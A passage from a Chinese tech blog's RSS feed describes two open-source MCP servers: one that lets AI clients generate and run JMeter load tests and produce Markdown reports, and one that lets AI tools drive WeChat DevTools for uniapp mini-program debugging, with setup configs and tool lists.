GUI、全自动组装）"></a>1. 动态 JMX 计划生成（免 GUI、全自动组装）</h3><p>完全告别手动点开 JMeter 界面配置 JMX 的繁琐流程。系统内置了动态 JMX 构造器，只需传入基础参数，即可全自动生成标准的 JMX XML：</p><ul><li><strong>连接与响应超时保护</strong>：内置 <code>connect_timeout</code> (默认 5000ms) 与 <code>response_timeout</code> (默认 10000ms)，从根本上规避目标服务卡死导致的压测线程无限挂起。</li><li><strong>智能请求头补齐</strong>：传入合法 JSON 请求体时，自动补充 <code>Content-Type: application/json</code>，无需人工额外声明。</li><li><strong>目标 TPS&#x2F;QPS 控速</strong>：内置 <code>ConstantThroughputTimer</code>（恒定吞吐量定时器），支持按指定的每秒吞吐量精准施压。</li><li><strong>会话保持与断言</strong>：默认挂载 <code>CookieManager</code> 维持会话，并支持自动注入 HTTP 状态码校验与文本断言。</li></ul><h3 id="2-全流程-Markdown-报告化与-ASCII-耗时直方图"><a href="#2-全流程-Markdown-报告化与-ASCII-耗时直方图" class="headerlink" title="2. 全流程 Markdown 报告化与 ASCII 耗时直方图"></a>2. 全流程 Markdown 报告化与 ASCII 耗时直方图</h3><p>彻底移除原生 JMeter 臃肿冗余的 HTML Dashboard 输出，转为输出结构严密的单文件 <code>.md</code> 报告：</p><ul><li><strong>指标全覆盖</strong>：自动提取样本量、错误率、吞吐量（TPS）、平均耗时、Median、P90、P95、P99 及极值。</li><li><strong>纯文本 ASCII 直方图</strong>：在 Markdown 报告中直接呈现条形分布图，无需加载图片或 JS 渲染库，AI 可直接语义解析，人类开发者在任何 Markdown 预览器中也能秒级获取耗时特征。</li><li><strong>接口明细与瓶颈诊断</strong>：包含慢接口列表、高错误率排查、离群耗时突变（Anomaly）检测以及并发退化拐点评估。</li></ul><h3 id="3-一键极速压测与压测急停（Kill-Switch）"><a href="#3-一键极速压测与压测急停（Kill-Switch）" class="headerlink" title="3. 一键极速压测与压测急停（Kill Switch）"></a>3. 一键极速压测与压测急停（Kill Switch）</h3><ul><li>提供 <code>quick_http_test</code> 工具：AI 只需一句指令，一步完成「动态生成测试脚本 -&gt; 执行压测 -&gt; 分析结果 -&gt; 输出 Markdown 报告」。</li><li>提供 <code>stop_running_test</code> 工具：压测失控或目标服务被打垮时，一键发送终止信号，通过 JMeter 官方优雅停止与安全进程回收机制中止测试。</li></ul><h3 id="4-架构瘦身与-STDIO-管道保护"><a href="#4-架构瘦身与-STDIO-管道保护" class="headerlink" title="4. 架构瘦身与 STDIO 管道保护"></a>4. 架构瘦身与 STDIO 管道保护</h3><ul><li><strong>服务解耦</strong>：将原先臃肿混杂的几百行字符串拼接逻辑剥离为 <code>analyzer/formatter.py</code> 与 <code>engine.render_visualization</code>，核心服务代码行数缩减近 40%，职责更加纯粹。</li><li><strong>消除协议破坏隐患</strong>：彻底排查并清理了所有解析层的 <code>print()</code> 语句，统一收敛为 Logger，避免任何脏数据污染 FastMCP 的 JSON-RPC 标准输入输出管道。</li><li><strong>Windows 路径与引号安全</strong>：绕过 Windows <code>cmd.exe</code> 执行 <code>jmeter.bat</code> 时路径包含空格产生的引号解析 Bug，改为优先调用 Java 直接运行 <code>ApacheJMeter.jar</code>，杜绝任何路径兼容性错误。</li><li><strong>严密测试</strong>：全量 59 项自动化单元测试 100% 全部通过。</li></ul><hr><h2 id="快速配置与接入使用"><a href="#快速配置与接入使用" class="headerlink" title="快速配置与接入使用"></a>快速配置与接入使用</h2><h3 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h3><p>确保本地已安装：</p><ul><li>Python 3.10+</li><li>Java (JDK 8+)</li><li>Apache JMeter 5.5+（推荐 5.6.3）</li></ul><h3 id="接入方式一：使用-uvx-在线运行（免下载源码，最推荐）"><a href="#接入方式一：使用-uvx-在线运行（免下载源码，最推荐）" class="headerlink" title="接入方式一：使用 uvx 在线运行（免下载源码，最推荐）"></a>接入方式一：使用 uvx 在线运行（免下载源码，最推荐）</h3><p>不需要在本地 <code>git clone</code> 下载或维护任何源码文件夹。只要安装了 <code>uv</code>，直接在你的 MCP 客户端配置（如 Claude Desktop 的 <code>claude_desktop_config.json</code> 或 IDE 的 <code>mcp_config.json</code>）中填入：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;mcpServers&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>    <span class="hljs-attr">&quot;jmeter&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>      <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;uvx&quot;</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;args&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><br>        <span class="hljs-string">&quot;--from&quot;</span><span class="hljs-punctuation">,</span><br>        <span class="hljs-string">&quot;git+https://github.com/NowPion/jmeter-mcp-server.git&quot;</span><span class="hljs-punctuation">,</span><br>        <span class="hljs-string">&quot;jmeter-mcp-server&quot;</span><br>      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;env&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>        <span class="hljs-attr">&quot;JMETER_HOME&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;F:\\Program Files\\apache-jmeter-5.6.3&quot;</span><span class="hljs-punctuation">,</span><br>        <span class="hljs-attr">&quot;JMETER_BIN&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;F:\\Program Files\\apache-jmeter-5.6.3\\bin\\jmeter.bat&quot;</span><br>      <span class="hljs-punctuation">&#125;</span><br>    <span class="hljs-punctuation">&#125;</span><br>  <span class="hljs-punctuation">&#125;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><h3 id="接入方式二：本地克隆源码运行"><a href="#接入方式二：本地克隆源码运行" class="headerlink" title="接入方式二：本地克隆源码运行"></a>接入方式二：本地克隆源码运行</h3><p>如果需要二次开发或自定义功能：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">git <span class="hljs-built_in">clone</span> https://github.com/NowPion/jmeter-mcp-server.git<br><span class="hljs-built_in">cd</span> jmeter-mcp-server<br>pip install -r requirements.txt<br></code></pre></td></tr></table></figure><p>客户端配置直接指向 <code>jmeter_server.py</code>：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;mcpServers&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>    <span class="hljs-attr">&quot;jmeter&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>      <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;python&quot;</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;args&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><br>        <span class="hljs-string">&quot;/path/to/jmeter-mcp-server/jmeter_server.py&quot;</span><br>      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;env&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>        <span class="hljs-attr">&quot;JMETER_HOME&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/path/to/apache-jmeter-5.6.3&quot;</span><span class="hljs-punctuation">,</span><br>        <span class="hljs-attr">&quot;JMETER_BIN&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/path/to/apache-jmeter-5.6.3/bin/jmeter.bat&quot;</span><br>      <span class="hljs-punctuation">&#125;</span><br>    <span class="hljs-punctuation">&#125;</span><br>  <span class="hljs-punctuation">&#125;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><hr><h2 id="提供的核心-MCP-工具清单"><a href="#提供的核心-MCP-工具清单" class="headerlink" title="提供的核心 MCP 工具清单"></a>提供的核心 MCP 工具清单</h2><table><thead><tr><th align="left">工具名称</th><th align="left">功能描述</th><th align="left">关键参数</th></tr></thead><tbody><tr><td align="left"><code>quick_http_test</code></td><td align="left"><strong>一步完成压测与出具报告</strong></td><td align="left"><code>url</code>, <code>method</code>, <code>threads</code>, <code>duration</code>, <code>target_tps</code>, <code>assert_status</code></td></tr><tr><td align="left"><code>create_http_test_plan</code></td><td align="left">动态生成定制化 JMX 文件</td><td align="left"><code>url</code>, <code>headers</code>, <code>body</code>, <code>connect_timeout</code>, <code>response_timeout</code></td></tr><tr><td align="left"><code>execute_jmeter_test_non_gui</code></td><td align="left">执行已有的 JMX 测试计划</td><td align="left"><code>test_file</code>, <code>properties</code>, <code>generate_report</code>, <code>log_file</code></td></tr><tr><td align="left"><code>stop_running_test</code></td><td align="left">紧急叫停正在运行的测试任务</td><td align="left">无</td></tr><tr><td align="left"><code>analyze_jmeter_results</code></td><td align="left">深度分析 JTL 文件指标明细</td><td align="left"><code>jtl_file</code>, <code>detailed</code></td></tr><tr><td align="left"><code>identify_performance_bottlenecks</code></td><td align="left">专门定位性能瓶颈与异常点</td><td align="left"><code>jtl_file</code></td></tr><tr><td align="left"><code>get_performance_insights</code></td><td align="left">获取调优措施与容量建议</td><td align="left"><code>jtl_file</code></td></tr><tr><td align="left"><code>generate_visualization</code></td><td align="left">生成 Markdown 报告或图表</td><td align="left"><code>jtl_file</code>, <code>visualization_type</code> (默认 <code>md_report</code>)</td></tr></tbody></table><hr><h2 id="实际使用场景与效果演示"><a href="#实际使用场景与效果演示" class="headerlink" title="实际使用场景与效果演示"></a>实际使用场景与效果演示</h2><p>配置好 MCP 之后，日常开发中就可以直接在 AI 对话框中进行压测互动：</p><h3 id="场景-1：一键对接口发起梯度压测"><a href="#场景-1：一键对接口发起梯度压测" class="headerlink" title="场景 1：一键对接口发起梯度压测"></a>场景 1：一键对接口发起梯度压测</h3><blockquote><p><strong>你</strong>：“帮我对 <code>https://api.example.com/api/v1/orders</code> 做一次压测，并发 10 个线程，持续 15 秒，限制 30 TPS，并校验状态码必须为 200，输出分析报告。”</p></blockquote><p>AI 会自动调用 <code>quick_http_test</code> 工具，生成测试计划并完成压测，直接把生成的 Markdown 报告呈现在对话流中：</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs markdown"><span class="hljs-section"># JMeter 性能测试分析报告</span><br><br><span class="hljs-section">## 核心指标概览 (Summary)</span><br>| 指标 | 统计数值 |<br>| :--- | :--- |<br>| 总请求量 (Total Samples) | 450 |<br>| 错误请求数 (Error Count) | 0 |<br>| 错误率 (Error Rate) | 0.00% |<br>| 平均响应时间 (Average RT) | 126.40 ms |<br>| 中位数响应时间 (Median RT) | 110.00 ms |<br>| 90% 分位数 (P90) | 185.00 ms |<br>| 95% 分位数 (P95) | 210.00 ms |<br>| 99% 分位数 (P99) | 260.00 ms |<br>| 最小 / 最大响应时间 | 45.00 ms / 310.00 ms |<br>| 吞吐量 (Throughput / TPS) | 30.00 req/s |<br>| 测试执行时长 (Duration) | 15.00 秒 |<br><br><span class="hljs-section">### 响应耗时分布图 (Response Time Distribution)</span><br>Min    :    45.00 ms [███░░░░░░░░░░░░░░░░░░░]<br>Avg    :   126.40 ms [█████████░░░░░░░░░░░░░]<br>Median :   110.00 ms [████████░░░░░░░░░░░░░░]<br>P90    :   185.00 ms [█████████████░░░░░░░░░]<br>P95    :   210.00 ms [███████████████░░░░░░░]<br>P99    :   260.00 ms [██████████████████░░░░]<br>Max    :   310.00 ms [██████████████████████]<br></code></pre></td></tr></table></figure><h3 id="场景-2：让-AI-自动化分析瓶颈与调优建议"><a href="#场景-2：让-AI-自动化分析瓶颈与调优建议" class="headerlink" title="场景 2：让 AI 自动化分析瓶颈与调优建议"></a>场景 2：让 AI 自动化分析瓶颈与调优建议</h3><blockquote><p><strong>你</strong>：“分析刚才产生的 <code>results/orders_results.jtl</code> 文件，看看系统性能是否存在隐患。”</p></blockquote><p>AI 会调用 <code>identify_performance_bottlenecks</code> 和 <code>get_performance_insights</code>，主动解析出离群毛刺时间点与并发退化趋势：</p><ul><li>自动提示接口耗时突增的异常时刻（如 GC 或锁竞争）；</li><li>计算线程数增长与响应耗时的相关系数，告知系统是否达到性能饱和；</li><li>提供按 High&#x2F;Medium 划分的针对性调优策略。</li></ul><h3 id="场景-3：异常情况下的急停"><a href="#场景-3：异常情况下的急停" class="headerlink" title="场景 3：异常情况下的急停"></a>场景 3：异常情况下的急停</h3><blockquote><p><strong>你</strong>：“目标服务开始报错 502 了，立刻停掉当前测试！”</p></blockquote><p>AI 立即调度 <code>stop_running_test</code>，安全截断测试进程并写出已采集到的采样数据。</p><hr><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>在 AI 辅助研发的今天，性能测试不应该再停留在手工写脚本、看几万行日志、在笨拙 GUI 里点来点去的原始阶段。</p><p>通过将 JMeter 原生底层与 MCP 协议打通，我们赋予了大模型直接调度压测引擎的能力，实现了<strong>需求对话 -&gt; 自动组装 JMX -&gt; 真实执行 -&gt; 纯净 Markdown 诊断报告 -&gt; AI 自行阅读报告并提出代码层优化建议</strong>的完整闭环。</p><p>欢迎体验与交流！</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>AI 调试微信开发者工具</title>
      <link>https://blog.newpon.top/2026/05/26/Ai%E8%AF%BB%E5%8F%96%E5%BE%AE%E4%BF%A1%E5%BC%80%E5%8F%91%E8%80%85%E5%B7%A5%E5%85%B7/</link>
      <description>介绍 uniapp-wechat-mcp 开源工具，基于微信开发者工具 CLI 与 miniprogram-automator 封装为 MCP Server，让 AI 工具直接读取、控制与调试微信小程序。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/MCP/">MCP</category>
      <category domain="https://blog.newpon.top/tags/%E5%BE%AE%E4%BF%A1%E5%BC%80%E5%8F%91%E8%80%85%E5%B7%A5%E5%85%B7/">微信开发者工具</category>
      <category domain="https://blog.newpon.top/tags/uniapp/">uniapp</category>
      <category domain="https://blog.newpon.top/tags/%E5%B0%8F%E7%A8%8B%E5%BA%8F/">小程序</category>
      <category domain="https://blog.newpon.top/tags/Codex/">Codex</category>
      <pubDate>Tue, 26 May 2026 02:14:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>微信小程序这个调试链路是真的烦，尤其是 uniapp 项目。</p><p>AI 看得到代码，但是看不到微信开发者工具里的页面、data、console、截图和编译结果。你让它改页面，它只能靠猜；你让它排查 bug，它还得让你一遍遍复制日志，整个过程就很笨。</p><p>所以这里做了一个 <strong>uniapp-wechat-mcp</strong>，把微信开发者工具的 CLI 和 <code>miniprogram-automator</code> SDK 封装成 MCP Server，让 Claude Code、Codex 这类 AI 工具可以直接读取和操作微信开发者工具。</p><p>npm 包：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">npx -y uniapp-wechat-mcp<br></code></pre></td></tr></table></figure><p>项目核心能力：</p><ul><li>通过微信开发者工具官方 CLI 打开项目、登录、编译、预览、上传、构建 npm、清缓存</li><li>通过 <code>miniprogram-automator</code> 读取当前页面栈和页面 <code>data</code></li><li>支持页面跳转，自动判断 tabBar 页面并选择 <code>switchTab</code> 或 <code>reLaunch</code></li><li>支持元素点击、输入、读取元素信息、调用页面方法、调用 <code>wx</code> API</li><li>支持截图，默认保存到当前项目的 <code>screenshots</code> 目录</li><li>支持采集 console &#x2F; exception 日志</li><li>支持读取小程序配置、页面列表、页面源码和单文件</li><li>支持把内置 <code>.agents/skills/wechat-devtools</code> 暴露给 AI 客户端读取</li></ul><h2 id="准备微信开发者工具"><a href="#准备微信开发者工具" class="headerlink" title="准备微信开发者工具"></a>准备微信开发者工具</h2><p>先确认本机已经安装微信开发者工具。</p><p>然后打开微信开发者工具，开启服务端口：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">设置 -&gt; 安全设置 -&gt; 服务端口 -&gt; 开启<br></code></pre></td></tr></table></figure><p>这个必须开，不然外部 CLI 和 automator 都连不上。很多连接失败的问题，最后都是这里没开。</p><p>还要找到微信开发者工具的 <code>cli</code> 路径，后面 MCP 配置会用到。</p><p>macOS 一般是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">/Applications/wechatwebdevtools.app/Contents/MacOS/cli<br></code></pre></td></tr></table></figure><p>Windows 一般是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">C:\Program Files (x86)\Tencent\微信web开发者工具\cli.bat<br></code></pre></td></tr></table></figure><p>如果你的安装目录不一样，就改成自己的实际路径。</p><h2 id="在-MCP-客户端中配置"><a href="#在-MCP-客户端中配置" class="headerlink" title="在 MCP 客户端中配置"></a>在 MCP 客户端中配置</h2><p>通常不需要全局安装，直接让 MCP 客户端用 <code>npx</code> 拉起：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;mcpServers&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>    <span class="hljs-attr">&quot;uniapp-wechat&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>      <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;npx&quot;</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;args&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;-y&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;uniapp-wechat-mcp&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;env&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>        <span class="hljs-attr">&quot;WECHAT_DEVTOOLS_CLI&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;/Applications/wechatwebdevtools.app/Contents/MacOS/cli&quot;</span><br>      <span class="hljs-punctuation">&#125;</span><br>    <span class="hljs-punctuation">&#125;</span><br>  <span class="hljs-punctuation">&#125;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>Windows 示例：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;mcpServers&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>    <span class="hljs-attr">&quot;uniapp-wechat&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>      <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;npx&quot;</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;args&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;-y&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;uniapp-wechat-mcp&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span><br>      <span class="hljs-attr">&quot;env&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>        <span class="hljs-attr">&quot;WECHAT_DEVTOOLS_CLI&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;C:\\Program Files (x86)\\Tencent\\微信web开发者工具\\cli.bat&quot;</span><br>      <span class="hljs-punctuation">&#125;</span><br>    <span class="hljs-punctuation">&#125;</span><br>  <span class="hljs-punctuation">&#125;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>这里最关键的是 <code>WECHAT_DEVTOOLS_CLI</code>，它必须指向微信开发者工具官方的 <code>cli</code> 或 <code>cli.bat</code>。</p><p>配置完成后，重启一下 AI 客户端，让它重新加载 MCP Server。</p><h2 id="项目路径怎么识别"><a href="#项目路径怎么识别" class="headerlink" title="项目路径怎么识别"></a>项目路径怎么识别</h2><p>工具调用时可以不传 <code>project_path</code>，MCP 会从当前 workspace 自动找小程序项目。</p><p>如果是 uniapp 项目，它会优先找这些目录：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">unpackage/dist/dev/mp-weixin<br>unpackage/dist/build/mp-weixin<br>dist/dev/mp-weixin<br>dist/build/mp-weixin<br></code></pre></td></tr></table></figure><p>也就是说，你可以把 AI 开在 uniapp 源码根目录，它会自己去找编译后的微信小程序产物。</p><p>如果是原生微信小程序项目，那目录里至少要有：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">project.config.json<br>app.json<br></code></pre></td></tr></table></figure><p>如果诊断里 AppID 是空的，优先怀疑是目录传错了。要么没指到 <code>mp-weixin</code>，要么还没生成小程序产物。</p><h2 id="推荐调用流程"><a href="#推荐调用流程" class="headerlink" title="推荐调用流程"></a>推荐调用流程</h2><p>第一次连接或者新会话，先让 AI 检查环境：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_ide(action=&quot;status&quot;)<br>wechat_ide(action=&quot;is_login&quot;)<br>wechat_ide(action=&quot;open&quot;)<br>wechat_automator(action=&quot;start&quot;)<br>wechat_file(action=&quot;project_info&quot;)<br>wechat_automator(action=&quot;page_data&quot;)<br></code></pre></td></tr></table></figure><p>只要 <code>page_data</code> 能读出来，说明 AI 已经能看到当前小程序页面了。</p><p>代码修改后，一般这样走：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_build(action=&quot;compile&quot;)<br>wechat_automator(action=&quot;page_data&quot;)<br>wechat_inspector(action=&quot;console&quot;, duration=3, detail_level=&quot;full&quot;)<br></code></pre></td></tr></table></figure><p>页面调试时：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_file(action=&quot;list_pages&quot;)<br>wechat_navigate(page_path=&quot;pages/index/index&quot;, wait_ms=1000)<br>wechat_automator(action=&quot;page_data&quot;)<br>wechat_screenshot()<br></code></pre></td></tr></table></figure><p>元素操作时：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_automator(action=&quot;element_info&quot;, selector=&quot;.target&quot;)<br>wechat_automator(action=&quot;tap&quot;, selector=&quot;.target&quot;)<br>wechat_automator(action=&quot;input&quot;, selector=&quot;input&quot;, value=&quot;hello&quot;)<br></code></pre></td></tr></table></figure><p>这里的体验会比纯截图靠谱很多。截图只能看到长什么样，<code>page_data</code> 和源码能告诉 AI 当前到底在哪个页面、有什么字段、字段是不是空的、按钮真实 selector 是什么。</p><h2 id="工具列表"><a href="#工具列表" class="headerlink" title="工具列表"></a>工具列表</h2><p>主要暴露了这些 MCP 工具：</p><table><thead><tr><th>Tool</th><th>用途</th></tr></thead><tbody><tr><td><code>wechat_ide</code></td><td>打开、登录、检查登录态、关闭或退出微信开发者工具</td></tr><tr><td><code>wechat_build</code></td><td>编译、预览、上传、构建 npm、清缓存</td></tr><tr><td><code>wechat_automator</code></td><td>启动自动化连接、点击、输入、读取页面 data、调用页面方法、调用 wx API、mock、evaluate、storage、scroll、reload</td></tr><tr><td><code>wechat_inspector</code></td><td>采集 console &#x2F; exception 日志</td></tr><tr><td><code>wechat_screenshot</code></td><td>截图并保存到本地</td></tr><tr><td><code>wechat_navigate</code></td><td>页面跳转，自动处理 tabBar，并返回页面栈、页面 data 和运行时日志</td></tr><tr><td><code>wechat_file</code></td><td>读取项目配置、页面列表、页面源码、单文件</td></tr><tr><td><code>agents</code></td><td>读取 npm 包内置的 <code>.agents</code> skill</td></tr></tbody></table><p>所有工具返回统一 JSON 结构，成功大概是：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;success&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;data&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;操作描述&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>失败时会返回：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;success&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;error_code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ERROR_CODE&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;失败原因&quot;</span><span class="hljs-punctuation">,</span><br>  <span class="hljs-attr">&quot;hint&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;可选修复建议&quot;</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>这个统一返回很重要，AI 不需要从一堆乱七八糟的 CLI 输出里猜结果。</p><h2 id="让-AI-读取内置-Skill"><a href="#让-AI-读取内置-Skill" class="headerlink" title="让 AI 读取内置 Skill"></a>让 AI 读取内置 Skill</h2><p>包里带了一份推荐工作流：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">.agents/skills/wechat-devtools/SKILL.md<br></code></pre></td></tr></table></figure><p>支持 MCP resources 的客户端可以直接读：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">skill://wechat-devtools<br></code></pre></td></tr></table></figure><p>如果客户端不会主动读取 resource，也可以用工具兜底：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">agents(action=&quot;read&quot;, name=&quot;wechat-devtools&quot;)<br></code></pre></td></tr></table></figure><p>也可以查看列表和路径：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs 